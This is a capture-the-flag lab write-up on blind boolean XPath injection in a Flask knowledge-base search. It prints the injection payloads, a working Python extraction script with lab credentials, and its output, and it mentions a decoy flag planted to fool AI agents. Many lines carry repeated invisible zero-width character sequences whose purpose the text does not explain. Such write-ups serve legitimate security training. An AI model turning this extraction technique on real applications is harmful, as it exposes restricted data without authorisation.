← Back to Writeups
CUSTOMMediumWeb

Lab 334 — DocuNest — XPath Injection in Knowledge Base Search

XESXOR9/10/20266 min read
#web#custom#medium#blind_boolean_xpath_injection#xpath_union_query_oracle#xml_structure_enumeration_via_#character_by_character_substri#xpath_count_enumeration#honeypot_flag_identification#xpath_attribute_brute_force#linux

Lab 334 — DocuNest — XPath Injection in Knowledge Base Search

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: blind_boolean_xpath_injection, xpath_union_query_oracle, xml_structure_enumeration_via_blind_injection, character_by_character_substring_extraction, xpath_count_enumeration, honeypot_flag_identification, xpath_attribute_brute_force

Summary

Task: Flask knowledge base with XML-backed search; /search?q= is vulnerable to XPath injection, but @visible attribute filtering in both XPath and app code prevents direct display of hidden articles. Solution: Blind boolean-based XPath injection using union query oracle to enumerate XML structure, locate hidden article 19 containing the flag, and extract it character-by-character via substring().

Lab 334 — DocuNest — XPath Injection in Knowledge Base Search — HackAdvisor

Description

DocuNest is a team knowledge base platform built by NestWare Solutions, where organizations manage their internal documentation. The application lets users browse articles, search across the knowledge base, and manage content through categories and tags. Some articles are restricted to certain access levels and are not visible through normal browsing. Your goal is to find and retrieve sensitive information that should not be accessible through the normal interface. The search functionality queries an XML-based data store. Investigate how the search feature works and determine if it can be manipulated to access restricted content. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask-based knowledge base application where the search feature queries an XML data store via XPath. The search endpoint /search?q= is vulnerable to XPath injection. Some articles have a @visible='false' attribute and are hidden from normal browsing. The @visible filtering is enforced both at the XPath query level AND in application-side code, so hidden articles can never be displayed directly — requiring a blind extraction approach.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Application Overview

FeatureDetail
PlatformFlask-based knowledge base by NestWare Solutions
Stats16 visible articles, 6 categories, 4 authors
Categoriesengineering, product, hr, design, operations + 1 hidden
SearchGET /search?q= — queries XML data store
Data storeXML file with //articles/article structure
AuthEmail/password login via POST /login

Honeypot Flag Detection

Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden <div> elements. This is designed to trick AI agents and automated scanners into reporting a fake flag. Correctly identified and ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

XPath Injection Confirmation

Test InputResultMeaning
test6 resultsNormal search
' (single quote)No resultsGraceful error handling, no stack trace
') or true() or ('All 16 articlesXPath injection confirmed — boolean true returns everything
') or false() or ('No resultsBoolean false returns nothing — full control

Reconstructed XPath Query

xpath
//articles/article[(contains(title, '{INPUT}') or contains(content, '{INPUT}') or contains(tags, '{INPUT}')) and @visible='true']

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Evidence:

  • name(.) = article (current element)
  • name(..) = articles (parent element)
  • Multi-field search: content-specific terms like "pytest" matched articles containing those terms in body text

XML Structure (Enumerated via Blind Injection)

Child elements per article (6):

  • title, author, content, updated, tags, created

Attributes per article (3):

  • @id, @category, @visible

Total article count: 19 (determined via count(//article) > N binary search)

  • 16 articles with @visible='true' (displayed normally)
  • 3 hidden articles with @visible='false' (positions 17, 18, 19) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Double Filtering Problem

The @visible attribute is enforced at two levels:

  1. XPath level: The query includes and @visible='true' — hidden articles are excluded from results
  2. Application level: Even if XPath returns hidden articles, the Flask code filters them out before rendering

This means no injection can make hidden articles appear in search results. A blind extraction approach is required.

Solution

Step 1: Login

bash
TARGET="https://428321ee-c4f2-4e85-9822-205b02d21819.labs.hackadvisor.io"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Login and establish session
curl -sk -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123" -L

Step 2: Build the Boolean Oracle

The key insight is using XPath's union operator (|) to create a reliable true/false oracle. The payload structure:

x') or CONDITION) and @visible='true'] | //articles/article[(false()) and (contains(title,'x

This produces the full XPath:

xpath
//articles/article[(contains(title, 'x') or CONDITION) and @visible='true']
|
//articles/article[(false()) and (contains(title,'x') or contains(content,'x') or contains(tags,'x')) and @visible='true']

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • If CONDITION is true: First union part matches all 16 visible articles → response contains "Found 16 results"
  • If CONDITION is false: Neither part matches → response shows "No results"

The second union part always evaluates to false (due to false() and ...), so it's a no-op that cleanly closes the injected syntax.

Step 3: Locate the Flag

python
# Verify oracle
check("true()")   # → Found 16 results ✓
check("false()")  # → No results ✓

# Confirm hidden articles at positions 17-19
check("//article[17]/@visible = 'false'")  # → True
check("//article[18]/@visible = 'false'")  # → True
check("//article[19]/@visible = 'false'")  # → True
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Find which hidden article contains the flag
check("contains(//article[17]/content, 'FLAG')")  # → False
check("contains(//article[18]/content, 'FLAG')")  # → False
check("contains(//article[19]/content, 'FLAG')")  # → True ← FLAG is here

# Determine content length (binary search)
check("string-length(//article[19]/content) > 30")  # → True
check("string-length(//article[19]/content) > 40")  # → False
check("string-length(//article[19]/content) = 38")  # → True

Article 19's content is exactly 38 characters — the flag string FLAG{REDACTED}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Character-by-Character Extraction

python
#!/usr/bin/env python3
"""Blind XPath injection flag extractor for DocuNest challenge."""

import requests
import string

BASE = "https://428321ee-c4f2-4e85-9822-205b02d21819.labs.hackadvisor.io"
session = requests.Session()
session.post(f"{BASE}/login",
             data={"email": "user@test.com", "password": "password123"},
             allow_redirects=False)

CHARSET = string.ascii_letters + string.digits + "{}_-!@#$%^&*()+=.,;:/<>?~`| "

def check_condition(condition):
    """Returns True if the XPath condition evaluates to true (oracle returns 16 results)."""
    payload = (
        f"x') or {condition}) and @visible='true'] "
        f"| //articles/article[(false()) and (contains(title,'x"
    )
    resp = session.get(f"{BASE}/search", params={"q": payload})
    return "Found 16 results" in resp.text
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Verify oracle
assert check_condition("true()"), "Oracle broken: true() should return results"
assert not check_condition("false()"), "Oracle broken: false() should return no results"

# Extract article 19 content (38 chars)
result = ""
for pos in range(1, 39):
    found = False
    for char in CHARSET:
        if char == "'":
            condition = f'substring(//article[19]/content, {pos}, 1) = concat("", "\'")'
        else:
            condition = f"substring(//article[19]/content, {pos}, 1) = '{char}'"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        if check_condition(condition):
            result += char
            print(f"Position {pos}: '{char}' -> {result}")
            found = True
            break

    if not found:
        print(f"Position {pos}: no match found, stopping")
        break

print(f"\nFlag: {result}")

Output:

Position 1: 'F' -> F
Position 2: 'L' -> FL
Position 3: 'A' -> FLA
Position 4: 'G' -> FLAG
Position 5: '{' -> FLAG{
Position 6: 'e' -> FLAG{e
...
Position 37: 'c' -> FLAG{REDACTED
Position 38: '}' -> FLAG{REDACTED}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Flag: FLAG{REDACTED}

Total requests: ~38 positions × ~36 average charset checks ≈ 1,400 requests. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍